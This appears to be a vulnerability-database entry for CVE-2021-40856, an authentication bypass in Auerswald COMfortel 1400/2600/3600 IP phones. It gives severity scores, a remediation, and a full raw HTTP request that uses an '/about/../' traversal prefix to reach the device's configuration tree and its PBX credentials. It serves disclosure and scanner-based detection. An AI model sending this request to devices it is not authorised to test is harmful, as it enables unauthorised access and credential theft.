| Title | Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | An attacker can bypass authentication and gain unauthorized access to the device. |
| Remediation | Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.8812 |
| CVE ID | CVE-2021-40856 |
| CWE ID | CWE-706 |
| Tags | cve2021 cve packetstorm comfortel auth-bypass auerswald vkev vuln |
Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix “/about/../” allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
GET /about/../tree?action=get HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40856.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40856.pcap
N/AN/A